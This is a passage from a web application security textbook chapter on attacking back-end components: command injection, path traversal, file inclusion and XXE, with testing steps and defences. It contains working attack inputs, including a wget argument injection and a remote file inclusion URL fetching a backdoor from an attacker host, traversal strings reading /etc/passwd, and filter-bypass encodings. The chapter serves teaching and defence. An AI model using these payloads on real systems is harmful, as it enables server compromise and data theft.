IP address for a domain name, which did not seem to   provide an effective attack vector. However, if an invalid domain name is   supplied, the command outputs an error message that includes the domain   name that was looked up. This behavior proved suffi cient to deliver a   serious attack:    Submit a fragment of server-executable script code as the domain name   to be resolved. The script can be encapsulated in quotes to ensure that   the command interpreter treats it as a single token.    Use the > character to redirect the command’s output to a fi le in an execut-  able folder within the web root. The command executed by the operating   system is as follows:  nslookup “[script code]” > [/path/to/executable_file]    When the command is run, the following output is redirected to the execut-  able fi le:  ** server can’t find [script code]: NXDOMAIN    This fi le can then be invoked using a browser, and the injected script   code is executed on the server. Because most scripting languages allow   pages to contain a mix of client-side content and server-side markup,   the parts of the error message that the attacker does not control are   just treated as plain text, and the markup within the injected script is   executed. The attack therefore succeeds in leveraging a restricted com-  mand injection condition to introduce an unrestricted backdoor into the   application server.  TRY IT!  http://mdsec.net/admin/18/  c10.indd 365c10.indd   365 8/19/2011 12:10:47 PM8/19/2011   12:10:47 PMStuttard   c10.indd   V2 - 07/05/2011 Page 366  366 Chapter 10  Attacking Back-End Components  HACK STEPS   1. The < and > characters are used, respectively, to direct the contents of a   file to the command’s input and to direct the command’s output to a file.   If it is not possible to use the preceding techniques to inject an entirely   separate command, you may still be able to read and write arbitrary file   contents using the < and > characters.    2.  Many operating system commands that applications invoke accept a num-  ber of command-line parameters that control their behavior. Often, user-  supplied input is passed to the command as one of these parameters, and   you may be able to add further parameters simply by inserting a space   followed by the relevant parameter. For example, a web-authoring appli-  cation may contain a function in which the server retrieves a user-speci-  fied URL and renders its contents in-browser for editing. If the application   simply calls out to the wget program, you may be able to write arbitrary   file contents to the server’s filesystem by appending the -O command-line   parameter used by wget. For example:  url=http://wahh-attacker.com/%20-O%20c:\inetpub\wwwroot\scripts\  cmdasp.asp  TIP Many command injection attacks require you to inject spaces to sepa-  rate command-line arguments. If you fi nd that spaces are being fi ltered by   the application, and the platform you are attacking is UNIX-based, you may   be able to use the $IFS environment variable instead, which contains the   whitespace fi eld separators.  Finding Dynamic Execution Vulnerabilities  Dynamic execution vulnerabilities most commonly arise in languages such   as PHP and Perl. But in principle, any type of application platform may pass   user-supplied input to a script-based interpreter, sometimes on a different   back-end server.  c10.indd 366c10.indd   366 8/19/2011 12:10:47 PM8/19/2011   12:10:47 PMStuttard   c10.indd   V2 - 07/05/2011 Page 367   Chapter 10  Attacking Back-End Components  367  HACK STEPS    1.  Any item of user-supplied data may be passed to a dynamic execution   function. Some of the items most commonly used in this way are the   names and values of cookie parameters and persistent data stored in user   profiles as the result of previous actions.    2.  Try submitting the following values in turn as each targeted parameter:  ;echo%20111111  echo%20111111  response.write%20111111  :response.write%20111111    3.  Review the application’s responses. If the string 111111 is returned on its   own (is not preceded by the rest of the command string), the application   is likely to be vulnerable to the injection of scripting commands.    4.  If the string 111111 is not returned, look for any error messages that indi-  cate that your input is being dynamically executed and that you may need   to fine-tune your syntax to achieve injection of arbitrary commands.    5.  If the application you are attacking uses PHP, you can use the test string   phpinfo(), which, if successful, returns the configuration details of the   PHP environment.    6.  If the application appears to be vulnerable, verify this by injecting some   commands that result in time delays, as described previously for OS com-  mand injection. For example:  system(‘ping%20127.0.0.1’)  Preventing OS Command Injection  In general, the best way to prevent OS command injection fl aws from arising   is to avoid calling out directly to operating system commands. Virtually any   conceivable task that a web application may need to carry out can be achieved   using built-in APIs that cannot be manipulated to perform commands other   than the one intended.  If it is considered unavoidable to embed user-supplied data into command   strings that are passed to an operating system command interpreter, the appli-  cation should enforce rigorous defenses to prevent a vulnerability from arising.   If possible, a whitelist should be used to restrict user input to a specifi c set of   expected values. Alternatively, the input should be restricted to a very narrow   character set, such as alphanumeric characters only. Input containing any other   data, including any conceivable metacharacter or whitespace, should be rejected.  c10.indd 367c10.indd   367 8/19/2011 12:10:47 PM8/19/2011   12:10:47 PMStuttard   c10.indd   V2 - 07/05/2011 Page 368  368 Chapter 10  Attacking Back-End Components  As a further layer of protection, the application should use command APIs   that launch a specifi c process via its name and command-line parameters,   rather than passing a command string to a shell interpreter that supports   command chaining and redirection. For example, the Java API Runtime.exec  and the ASP.NET API Process.Start do not support shell metacharacters.   If used properly, they can ensure that only the command intended by the   developer will be executed. See Chapter 19 for more details of command   execution APIs.  Preventing Script Injection Vulnerabilities  In general, the best way to avoid script injection vulnerabilities is to not pass   user-supplied input, or data derived from it, into any dynamic execution or   include functions. If this is considered unavoidable for some reason, the rel-  evant input should be strictly validated to prevent any attack from occurring.   If possible, use a whitelist of known good values that the application expects,   and reject any input that does not appear on this list. Failing that, check the   characters used within the input against a set known to be harmless, such as   alphanumeric characters excluding whitespace.  Manipulating File Paths  Many types of functionality commonly found in web applications involve pro-  cessing user-supplied input as a fi le or directory name. Typically, the input is   passed to an API that accepts a fi le path, such as in the retrieval of a fi le from the   local fi lesystem. The application processes the result of the API call within its   response to the user’s request. If the user-supplied input is improperly validated,   this behavior can lead to various security vulnerabilities, the most common of   which are fi le path traversal bugs and fi le inclusion bugs.  Path Traversal Vulnerabilities  Path traversal vulnerabilities arise when the application uses user-controllable   data to access fi les and directories on the application server or another back-  end fi lesystem in an unsafe way. By submitting crafted input, an attacker may   be able to cause arbitrary content to be read from, or written to, anywhere on   the fi lesystem being accessed. This often enables an attacker to read sensitive   information from the server, or overwrite sensitive fi les, ultimately leading to   arbitrary command execution on the server.  c10.indd 368c10.indd   368 8/19/2011 12:10:47 PM8/19/2011   12:10:47 PMStuttard   c10.indd   V2 - 07/05/2011 Page 369   Chapter 10  Attacking Back-End Components  369  Consider the following example, in which an application uses a dynamic   page to return static images to the client. The name of the requested image is   specifi ed in a query string parameter:  http://mdsec.net/filestore/8/GetFile.ashx?filename=keira.jpg  When the server processes this request, it follows these steps:    1.  Extracts the value of the filename parameter from the query string.    2.  Appends this value to the prefi x C:\filestore\.    3.  Opens the fi le with this name.    4.  Reads the fi le’s contents and returns it to the client.  The vulnerability arises because an attacker can place path traversal sequences   into the fi lename to backtrack up from the directory specifi ed in step 2 and   therefore access fi les from anywhere on the server that the user context used by   the application has privileges to access. The path traversal sequence is known   as “dot-dot-slash”; a typical attack looks like this:  http://mdsec.net/filestore/8/GetFile.ashx?filename=..\windows\win.ini  When the application appends the value of the filename parameter to the   name of the images directory, it obtains the following path:  C:\filestore\..\windows\win.ini  The two traversal sequences effectively step back up from the images direc-  tory to the root of the C: drive, so the preceding path is equivalent to this:  C:\windows\win.ini  Hence, instead of returning an image fi le, the server actually returns a default   Windows confi guration fi le.  NOTE In older versions of Windows IIS web server, applications would, by   default, run with local system privileges, allowing access to any readable fi le   on the local fi lesystem. In more recent versions, in common with many other   web servers, the server’s process by default runs in a less privileged user   context. For this reason, when probing for path traversal vulnerabilities, it is   best to request a default fi le that can be read by any type of user, such as   c:\windows\win.ini.  In this simple example, the application implements no defenses to prevent   path traversal attacks. However, because these attacks have been widely known   c10.indd 369c10.indd   369 8/19/2011 12:10:47 PM8/19/2011   12:10:47 PMStuttard   c10.indd   V2 - 07/05/2011 Page 370  370 Chapter 10  Attacking Back-End Components  about for some time, it is common to encounter applications that implement   various defenses against them, often based on input validation fi lters. As   you will see, these fi lters are often poorly designed and can be bypassed by a   skilled attacker.  TRY IT!  http://mdsec.net/filestore/8/  Finding and Exploiting Path Traversal Vulnerabilities  Many kinds of functionality require a web application to read from or write to   a fi lesystem on the basis of parameters supplied within user requests. If these   operations are carried out in an unsafe manner, an attacker can submit crafted   input that causes the application to access fi les that the application designer   did not intend it to access. Known as path traversal vulnerabilities, such defects   may enable the attacker to read sensitive data including passwords and appli-  cation logs, or to overwrite security-critical items such as confi guration fi les   and software binaries. In the most serious cases, the vulnerability may enable   an attacker to completely compromise both the application and the underlying   operating system.  Path traversal fl aws are sometimes subtle to detect, and many web applications   implement defenses against them that may be vulnerable to bypasses. We will   describe all the various techniques you will need, from identifying potential   targets, to probing for vulnerable behavior, to circumventing the application’s   defenses, to dealing with custom encoding.  Locating Targets for Attack  During your initial mapping of the application, you should already have identifi ed   any obvious areas of attack surface in relation to path traversal vulnerabilities.   Any functionality whose explicit purpose is uploading or downloading fi les   should be thoroughly tested. This functionality is often found in work fl ow   applications where users can share documents, in blogging and auction appli-  cations where users can upload images, and in informational applications   where users can retrieve documents such as ebooks, technical manuals, and   company reports.  In addition to obvious target functionality of this kind, various other types   of behavior may suggest relevant interaction with the fi lesystem.  c10.indd 370c10.indd   370 8/19/2011 12:10:47 PM8/19/2011   12:10:47 PMStuttard   c10.indd   V2 - 07/05/2011 Page 371   Chapter 10  Attacking Back-End Components  371  HACK STEPS    1.  Review the information gathered during application mapping to identify   the following:    Any instance where a request parameter appears to contain the name   of a fi le or directory, such as include=main.inc or template=/en/  sidebar.    Any application functions whose implementation is likely to involve   retrieval of data from a server fi lesystem (as opposed to a back-end   database), such as the displaying of offi ce documents or images.    2.  During all testing you perform in relation to every other kind of vulner-  ability, look for error messages or other anomalous events that are   of interest. Try to find any evidence of instances where user-supplied   data is being passed to file APIs or as parameters to operating system   commands.  TIP If you have local access to the application (either in a whitebox testing exer-  cise or because you have compromised the server’s operating system), identify-  ing targets for path traversal testing is usually straightforward, because you can   monitor all fi lesystem interaction that the application performs.  HACK STEPS  If you have local access to the web application, do the following:    1.  Use a suitable tool to monitor all filesystem activity on the server. For   example, the FileMon tool from SysInternals can be used on the Windows   platform, the ltrace/strace tools can be used on Linux, and the truss  command can be used on Sun’s Solaris.    2.  Test every page of the application by inserting a single unique string (such   as traversaltest) into each submitted parameter (including all cookies,   query string fields, and POST data items). Target only one parameter at a   time, and use the automated techniques described in Chapter 14 to speed   up the process.    3.  Set a filter in your filesystem monitoring tool to identify all filesystem   events that contain your test string.    4.  If any events are identified where your test string has been used as or   incorporated into a file or directory name, test each instance (as described   next) to determine whether it is vulnerable to path traversal attacks.  c10.indd 371c10.indd   371 8/19/2011 12:10:47 PM8/19/2011   12:10:47 PMStuttard   c10.indd   V2 - 07/05/2011 Page 372  372 Chapter 10  Attacking Back-End Components  Detecting Path Traversal Vulnerabilities  Having identifi ed the various potential targets for path traversal testing, you   need to test every instance individually to determine whether user-controllable   data is being passed to relevant fi lesystem operations in an unsafe manner.  For each user-supplied parameter being tested, determine whether traversal   sequences are being blocked by the application or whether they work as expected.   An initial test that is usually reliable is to submit traversal sequences in a way   that does not involve stepping back above the starting directory.  HACK STEPS    1.  Working on the assumption that the parameter you are targeting is being   appended to a preset directory specified by the application, modify the   parameter’s value to insert an arbitrary subdirectory and a single traversal   sequence. For example, if the application submits this parameter:  file=foo/file1.txt  try submitting this value:  file=foo/bar/../file1.txt  If the application’s behavior is identical in the two cases, it may be vul-  nerable. You should proceed directly to attempting to access a different   file by traversing above the start directory.    2.  If the application’s behavior is different in the two cases, it may be block-  ing, stripping, or sanitizing traversal sequences, resulting in an invalid file   path. You should examine whether there are any ways to circumvent the   application’s validation filters (described in the next section).  The reason why this test is effective, even if the subdirectory “bar” does   not exist, is that most common filesystems perform canonicalization of   the file path before attempting to retrieve it. The traversal sequence can-  cels out the invented directory, so the server does not check whether it is   present.  If you fi nd any instances where submitting traversal sequences without step-  ping above the starting directory does not affect the application’s behavior, the   next test is to attempt to traverse out of the starting directory and access fi les   from elsewhere on the server fi lesystem.  c10.indd 372c10.indd   372 8/19/2011 12:10:47 PM8/19/2011   12:10:47 PMStuttard   c10.indd   V2 - 07/05/2011 Page 373   Chapter 10  Attacking Back-End Components  373  HACK STEPS    1.  If the application function you are attacking provides read access to a file,   attempt to access a known world-readable file on the operating system in   question. Submit one of the following values as the filename parameter   you control:  ../../../../../../../../../../../../etc/passwd  ../../../../../../../../../../../../windows/win.ini  If you are lucky, your browser displays the contents of the file you have   requested, as shown in Figure 10-5.    2.  If the function you are attacking provides write access to a file, it may be   more difficult to verify conclusively whether the application is vulnera-  ble. One test that is often effective is to attempt to write two files — one   that should be writable by any user, and one that should not be writable   even by root or Administrator. For example, on Windows platforms you   can try this:  ../../../../../../../../../../../../writetest.txt  ../../../../../../../../../../../../windows/system32/config/sam  On UNIX-based platforms, files that root may not write are version-  dependent, but attempting to overwrite a directory with a file should   always fail, so you can try this:  ../../../../../../../../../../../../tmp/writetest.txt  ../../../../../../../../../../../../tmp  For each pair of tests, if the application’s behavior is different in   response to the first and second requests (for example, if the second   returns an error message but the first does not), the application probably   is vulnerable.    3.  An alternative method for verifying a traversal flaw with write access is   to try to write a new file within the web root of the web server and then   attempt to retrieve this with a browser. However, this method may not   work if you do not know the location of the web root directory or if the   user context in which the file access occurs does not have permission to   write there.  c10.indd 373c10.indd   373 8/19/2011 12:10:47 PM8/19/2011   12:10:47 PMStuttard   c10.indd   V2 - 07/05/2011 Page 374  374 Chapter 10  Attacking Back-End Components  Figure 10-5:  A successful path traversal attack  NOTE Virtually all fi lesystems tolerate redundant traversal sequences that   appear to try to move above the root of the fi lesystem. Hence, it is usually   advisable to submit a large number of traversal sequences when probing for   a fl aw, as in the examples given here. It is possible that the starting directory   to which your data is appended lies deep within the fi lesystem, so using an   excessive number of sequences helps avoid false negatives.  Also, the Windows platform tolerates both forward slashes and backslashes   as directory separators, whereas UNIX-based platforms tolerate only the for-  ward slash. Furthermore, some web applications fi lter one version but not   the other. Even if you are certain that the web server is running a UNIX-based   operating system, the application may still be calling out to a Windows-based   back-end component. Because of this, it is always advisable to try both ver-  sions when probing for traversal fl aws.  Circumventing Obstacles to Traversal Attacks  If your initial attempts to perform a traversal attack (as just described) are   unsuccessful, this does not mean that the application is not vulnerable. Many   application developers are aware of path traversal vulnerabilities and implement   various kinds of input validation checks in an attempt to prevent them. However,   those defenses are often fl awed and can be bypassed by a skilled attacker.  The fi rst type of input fi lter commonly encountered involves checking whether   the fi lename parameter contains any path traversal sequences. If it does, the   fi lter either rejects the request or attempts to sanitize the input to remove the   sequences. This type of fi lter is often vulnerable to various attacks that use alter-  native encodings and other tricks to defeat the fi lter. These attacks all exploit   the type of canonicalization problems faced by input validation mechanisms,   as described in Chapter 2.  c10.indd 374c10.indd   374 8/19/2011 12:10:47 PM8/19/2011   12:10:47 PMStuttard   c10.indd   V2 - 07/05/2011 Page 375   Chapter 10  Attacking Back-End Components  375  HACK STEPS    1.  Always try path traversal sequences using both forward slashes and back-  slashes. Many input filters check for only one of these, when the filesys-  tem may support both.    2.  Try simple URL-encoded representations of traversal sequences using the   following encodings. Be sure to encode every single slash and dot within   your input:    Dot — %2e    Forward slash — %2f    Backslash — %5c    3.  Try using 16-bit Unicode encoding:    Dot  — %u002e    Forward slash — %u2215    Backslash — %u2216    4.  Try double URL encoding:    Dot — %252e    Forward slash — %252f    Backslash — %255c    5.  Try overlong UTF-8 Unicode encoding:    Dot — %c0%2e, %e0%40%ae, %c0ae, and so on    Forward slash — %c0%af, %e0%80%af, %c0%2f, and so on    Backslash — %c0%5c, %c0%80%5c, and so on  You can use the illegal Unicode payload type within Burp Intruder to   generate a huge number of alternate representations of any given char-  acter and submit this at the relevant place within your target parameter.   These representations strictly violate the rules for Unicode representa-  tion but nevertheless are accepted by many implementations of Unicode   decoders, particularly on the Windows platform.    6.  If the application is attempting to sanitize user input by removing tra-  versal sequences and does not apply this filter recursively, it may be   possible to bypass the filter by placing one sequence within another. For   example:  ....//  ....\/  ..../\  ....\\  c10.indd 375c10.indd   375 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 376  376 Chapter 10  Attacking Back-End Components  TRY IT!  http://mdsec.net/filestore/30/  http://mdsec.net/filestore/39/  http://mdsec.net/filestore/46/  http://mdsec.net/filestore/59/  http://mdsec.net/filestore/65/  The second type of input fi lter commonly encountered in defenses against path   traversal attacks involves verifying whether the user-supplied fi lename contains   a suffi x (fi le type) or prefi x (starting directory) that the application expects. This   type of defense may be used in tandem with the fi lters already described.  HACK STEPS    1.  Some applications check whether the user-supplied filename ends in   a particular file type or set of file types and reject attempts to access   anything else. Sometimes this check can be subverted by placing a URL-  encoded null byte at the end of your requested filename, followed by a   file type that the application accepts. For example:  ../../../../../boot.ini%00.jpg  The reason this attack sometimes succeeds is that the file type check   is implemented using an API in a managed execution environment in   which strings are permitted to contain null characters (such as String.  endsWith() in Java). However, when the file is actually retrieved, the   application ultimately uses an API in an unmanaged environment in which   strings are null-terminated. Therefore, your filename is effectively trun-  cated to your desired value.    2.  Some applications attempt to control the file type being accessed by   appending their own file-type suffix to the filename supplied by the user.   In this situation, either of the preceding exploits may be effective, for the   same reasons.    3.  Some applications check whether the user-supplied filename starts with   a particular subdirectory of the start directory, or even a specific filename.   This check can, of course, be bypassed easily as follows:  filestore/../../../../../../../etc/passwd    4.  If none of the preceding attacks against input filters is successful indi-  vidually, the application might be implementing multiple types of filters.   Therefore, you need to combine several of these attacks simultaneously   (both against traversal sequence filters and file type or directory filters). If  c10.indd 376c10.indd   376 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 377   Chapter 10  Attacking Back-End Components  377  HACK STEPS      possible, the best approach here is to try to break the problem into sepa-  rate stages. For example, if the request for:  diagram1.jpg  is successful, but the request for:  foo/../diagram1.jpg  fails, try all the possible traversal sequence bypasses until a variation on   the second request is successful. If these successful traversal sequence   bypasses don’t enable you to access /etc/passwd, probe whether any   file type filtering is implemented and can be bypassed by requesting:  diagram1.jpg%00.jpg  Working entirely within the start directory defined by the application,   try to probe to understand all the filters being implemented, and see   whether each can be bypassed individually with the techniques described.    5.  Of course, if you have whitebox access to the application, your task is   much easier, because you can systematically work through different types   of input and verify conclusively what filename (if any) is actually reaching   the filesystem.  Coping with Custom Encoding  Probably the craziest path traversal bug that the authors have encountered   involved a custom encoding scheme for fi lenames that were ultimately handled   in an unsafe way. It demonstrated how obfuscation is no substitute for security.  The application contained some work fl ow functionality that enabled users   to upload and download fi les. The request performing the upload supplied a   fi lename parameter that was vulnerable to a path traversal attack when writing   the fi le. When a fi le had been successfully uploaded, the application provided   users with a URL to download it again. There were two important caveats:    The application verifi ed whether the fi le to be written already existed. If   it did, the application refused to overwrite it.    The URLs generated for downloading users’ fi les were represented using   a proprietary obfuscation scheme. This appeared to be a customized form   of Base64 encoding in which a different character set was employed at   each position of the encoded fi lename.  Taken together, these caveats presented a barrier to straightforward exploita-  tion of the vulnerability. First, although it was possible to write arbitrary fi les to   c10.indd 377c10.indd   377 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 378  378 Chapter 10  Attacking Back-End Components  the server fi lesystem, it was not possible to overwrite any existing fi le. Also, the   low privileges of the web server process meant that it was not possible to create   a new fi le in any interesting locations. Second, it was not possible to request   an arbitrary existing fi le (such as /etc/passwd) without reverse engineering   the custom encoding, which presented a lengthy and unappealing challenge.  A little experimentation revealed that the obfuscated URLs contained the   original fi lename string supplied by the user. For example:    test.txt became zM1YTU4NTY2Y    foo/../test.txt became E1NzUyMzE0ZjQ0NjMzND  The difference in length of the encoded URLs indicated that no path canoni-  calization was performed before the encoding was applied. This behavior gave   us enough of a toehold to exploit the vulnerability. The fi rst step was to submit   a fi le with the following name:  ../../../../../.././etc/passwd/../../tmp/foo  which, in its canonical form, is equivalent to:  /tmp/foo  Therefore, it could be written by the web server. Uploading this fi le produced   a download URL containing the following obfuscated fi lename:  FhwUk1rNXFUVEJOZW1kNlRsUk5NazE2V1RKTmFrMHdUbXBWZWs1NldYaE5lb  To modify this value to return the fi le /etc/passwd, we simply needed to   truncate it at the right point, which was:  FhwUk1rNXFUVEJOZW1kNlRsUk5NazE2V1RKTmFrM  Attempting to download a fi le using this value returned the server’s passwd  fi le as expected. The server had given us suffi cient resources to be able to encode   arbitrary fi le paths using its scheme, without even deciphering the obfuscation   algorithm being used!  NOTE You may have noticed the appearance of a redundant ./ in the name   of our uploaded fi le. This was necessary to ensure that our truncated URL   ended on a 3-byte boundary of cleartext, and therefore on a 4-byte bound-  ary of encoded text, in line with the Base64 encoding scheme. Truncating an   encoded URL partway through an encoded block would almost certainly cause   an error when decoded on the server.  c10.indd 378c10.indd   378 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 379   Chapter 10  Attacking Back-End Components  379  Exploiting Traversal Vulnerabilities  Having identifi ed a path traversal vulnerability that provides read or write   access to arbitrary fi les on the server’s fi lesystem, what kind of attacks can you   carry out by exploiting these? In most cases, you will fi nd that you have the   same level of read/write access to the fi lesystem as the web server process does.  HACK STEPS  You can exploit read access path traversal fl aws to retrieve interesting fi les   from the server that may contain directly useful information or that help you   refi ne attacks against other vulnerabilities. For example:   Password fi les for the operating system and application   Server and application confi guration fi les to discover other vulnerabilities   or fi ne-tune a different attack   Include fi les that may contain database credentials   Data sources used by the application, such as MySQL database fi les or   XML fi les   The source code to server-executable pages to perform a code review in   search of bugs (for example, GetImage.aspx?file=GetImage.aspx)   Application log fi les that may contain usernames and session tokens and   the like  If you fi nd a path traversal vulnerability that grants write access, your main   goal should be to exploit this to achieve arbitrary execution of commands on   the server. Here are some ways to exploit this vulnerability:   Create scripts in users’ startup folders.   Modify fi les such as in.ftpd to execute arbitrary commands when a   user next connects.   Write scripts to a web directory with execute permissions, and call them   from your browser.  Preventing Path Traversal Vulnerabilities  By far the most effective means of eliminating path traversal vulnerabilities is to   avoid passing user-submitted data to any fi lesystem API. In many cases, includ-  ing the original example GetFile.ashx?filename=keira.jpg, it is unnecessary   for an application to do this. Most fi les that are not subject to any access control   can simply be placed within the web root and accessed via a direct URL. If this   c10.indd 379c10.indd   379 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 380  380 Chapter 10  Attacking Back-End Components  is not possible, the application can maintain a hard-coded list of image fi les that   may be served by the page. It can use a different identifi er to specify which   fi le is required, such as an index number. Any request containing an invalid   identifi er can be rejected, and there is no attack surface for users to manipulate   the path of fi les delivered by the page.  In some cases, as with the work fl ow functionality that allows fi le uploading   and downloading, it may be desirable to allow users to specify fi les by name.   Developers may decide that the easiest way to implement this is by passing   the user-supplied fi lename to fi lesystem APIs. In this situation, the application   should take a defense-in-depth approach to place several obstacles in the way   of a path traversal attack.  Here are some examples of defenses that may be used; ideally, as many of   these as possible should be implemented together:    After performing all relevant decoding and canonicalization of the user-  submitted fi lename, the application should check whether it contains either   of the path traversal sequences (using backslashes or forward slashes) or   any null bytes. If so, the application should stop processing the request. It   should not attempt to perform any sanitization on the malicious fi lename.    The application should use a hard-coded list of permissible fi le types and   reject any request for a different type (after the preceding decoding and   canonicalization have been performed).    After performing all its fi ltering on the user-supplied fi lename, the appli-  cation should use suitable fi lesystem APIs to verify that nothing is amiss   and that the fi le to be accessed using that fi lename is located in the start   directory specifi ed by the application.  In Java, this can be achieved by instantiating a java.io.File object using   the user-supplied fi lename and then calling the getCanonicalPath method   on this object. If the string returned by this method does not begin with the   name of the start directory, the user has somehow bypassed the applica-  tion’s input fi lters, and the request should be rejected.  In ASP.NET, this can be achieved by passing the user-supplied fi lename   to the System.Io.Path.GetFullPath method and checking the returned   string in the same way as described for Java.  The application can mitigate the impact of most exploitable path traversal   vulnerabilities by using a chrooted environment to access the directory contain-  ing the fi les to be accessed. In this situation, the chrooted directory is treated as   c10.indd 380c10.indd   380 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 381   Chapter 10  Attacking Back-End Components  381  if it is the fi lesystem root, and any redundant traversal sequences that attempt   to step up above it are ignored. Chrooted fi lesystems are supported natively   on most UNIX-based platforms. A similar effect can be achieved on Windows   platforms (in relation to traversal vulnerabilities, at least) by mounting the   relevant start directory as a new logical drive and using the associated drive   letter to access its contents.  The application should integrate its defenses against path traversal attacks   with its logging and alerting mechanisms. Whenever a request is received that   contains path traversal sequences, this indicates likely malicious intent on the   user’s part. The application should log the request as an attempted security   breach, terminate the user’s session, and, if applicable, suspend the user’s account   and generate an alert to an administrator.  File Inclusion Vulnerabilities  Many scripting languages support the use of include fi les. This facility enables   developers to place reusable code components into separate fi les and to include   these within function-specifi c code fi les as and when they are needed. The code   within the included fi le is interpreted just as if it had been inserted at the loca-  tion of the include directive.  Remote File Inclusion  The PHP language is particularly susceptible to fi le inclusion vulnerabilities   because its include functions can accept a remote fi le path. This has been the   basis of numerous vulnerabilities in PHP applications.  Consider an application that delivers different content to people in different   locations. When users choose their location, this is communicated to the server   via a request parameter, as follows:  https://wahh-app.com/main.php?Country=US  The application processes the Country parameter as follows:  $country = $_GET[‘Country’];  include( $country . ‘.php’ );  This causes the execution environment to load the fi le US.php that is located   on the web server fi lesystem. The contents of this fi le are effectively copied into   the main.php fi le and executed.  c10.indd 381c10.indd   381 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 382  382 Chapter 10  Attacking Back-End Components  An attacker can exploit this behavior in different ways, the most serious of   which is to specify an external URL as the location of the include fi le. The PHP   include function accepts this as input, and the execution environment retrieves   the specifi ed fi le and executes its contents. Hence, an attacker can construct   a malicious script containing arbitrarily complex content, host this on a web   server he controls, and invoke it for execution via the vulnerable application   function. For example:  https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor  Local File Inclusion  In some cases, include fi les are loaded on the basis of user-controllable data, but   it is not possible to specify a URL to a fi le on an external server. For example,   if user-controllable data is passed to the ASP function Server.Execute, an   attacker may be able to cause an arbitrary ASP script to be executed, provided   that this script belongs to the same application as the one that is calling the   function.  In this situation, you may still be able to exploit the application’s behavior to   perform unauthorized actions:    There may be server-executable fi les on the server that you cannot access   through the normal route. For example, any requests to the path /admin  may be blocked through application-wide access controls. If you can cause   sensitive functionality to be included into a page that you are authorized   to access, you may be able to gain access to that functionality.    There may be static resources on the server that are similarly protected   from direct access. If you can cause these to be dynamically included   into other application pages, the execution environment typically simply   copies the contents of the static resource into its response.  Finding File Inclusion Vulnerabilities  File inclusion vulnerabilities may arise in relation to any item of user-supplied   data. They are particularly common in request parameters that specify a lan-  guage or location. They also often arise when the name of a server-side fi le is   passed explicitly as a parameter.  c10.indd 382c10.indd   382 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 383   Chapter 10  Attacking Back-End Components  383  HACK STEPS  To test for remote fi le inclusion fl aws, follow these steps:    1.  Submit in each targeted parameter a URL for a resource on a web server   that you control, and determine whether any requests are received from   the server hosting the target application.    2.  If the first test fails, try submitting a URL containing a nonexistent IP   address, and determine whether a timeout occurs while the server   attempts to connect.    3.  If the application is found to be vulnerable to remote file inclusion, con-  struct a malicious script using the available APIs in the relevant language,   as described for dynamic execution attacks.  Local fi le inclusion vulnerabilities can potentially exist in a much wider   range of scripting environments than those that support remote fi le inclu-  sion. To test for local fi le inclusion vulnerabilities, follow these steps:    1.  Submit the name of a known executable resource on the server, and   determine whether any change occurs in the application’s behavior.    2.  Submit the name of a known static resource on the server, and determine   whether its contents are copied into the application’s response.    3.  If the application is vulnerable to local file inclusion, attempt to access   any sensitive functionality or resources that you cannot reach directly via   the web server.    4.  Test to see if you can access files in other directories using the traversal   techniques described previously.  Injecting into XML Interpreters  XML is used extensively in today’s web applications, both in requests and   responses between the browser and front-end application server and in mes-  sages between back-end application components such as SOAP services. Both   of these locations are susceptible to attacks whereby crafted input is used to   interfere with the operation of the application and normally perform some   unauthorized action.  c10.indd 383c10.indd   383 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 384  384 Chapter 10  Attacking Back-End Components  Injecting XML External Entities  In today’s web applications, XML is often used to submit data from the client   to the server. The server-side application then acts on this data and may return   a response containing XML or data in any other format. This behavior is most   commonly found in Ajax-based applications where asynchronous requests are   used to communicate in the background. It can also appear in the context of   browser extension components and other client-side technologies.  For example, consider a search function that, to provide a seamless user   experience, is implemented using Ajax. When a user enters a search term, a   client-side script issues the following request to the server:  POST /search/128/AjaxSearch.ashx HTTP/1.1  Host: mdsec.net  Content-Type: text/xml; charset=UTF-8  Content-Length: 44  nothing will change  The server’s response is as follows (although vulnerabilities may exist regard-  less of the format used in responses):  HTTP/1.1 200 OK  Content-Type: text/xml; charset=utf-8  Content-Length: 81  No results found for expression: nothing will   change  The client-side script processes this response and updates part of the user   interface with the results of the search.  When you encounter this type of functionality, you should always check for   XML external entity (XXE) injection. This vulnerability arises because standard   XML parsing libraries support the use of entity references. These are simply a   method of referencing data either inside or outside the XML document. Entity   references should be familiar from other contexts. For example, the entities   corresponding to the < and > characters are as follows:  <  >  The XML format allows custom entities to be defi ned within the XML docu-  ment itself. This is done within the optional DOCTYPE element at the start of the   document. For example:   ]>  c10.indd 384c10.indd   384 8/19/2011 12:10:48 PM8/19/2011   12:10:48 PMStuttard   c10.indd   V2 - 07/05/2011 Page 385   Chapter 10  Attacking Back-End Components  385  If a document contains this defi nition, the parser replaces any occurrences   of the &testref; entity reference within the document with the defi ned value,   testrefvalue.  Furthermore, the XML specifi cation allows entities to be defi ned using exter-  nal references, the value of which is fetched dynamically by the XML parser.   These external entity defi nitions use the URL format and can refer to external   web URLs or resources on the local fi lesystem. The XML parser fetches the   contents of the specifi ed URL or fi le and uses this as the value of the defi ned   entity. If the application returns in its response any parts of the XML data that   use an externally defi ned entity, the contents of the specifi ed fi le or URL are   returned in the response.  External entities can be specifi ed within the attacker’s XML-based request   by adding a suitable DOCTYPE element to the XML (or by modifying the element   if it already exists). An external entity reference is specifi ed using the SYSTEM  keyword, and its defi nition is a URL that may use the file: protocol.  In the preceding example, the attacker can submit the following request, which   defi nes an XML external entity that references a fi le on the server’s fi lesystem:  POST /search/128/AjaxSearch.ashx HTTP/1.1  Host: mdsec.net  Content-Type: text/xml; charset=UTF-8  Content-Length: 115   ]>  &xxe;  This causes the XML parser to fetch 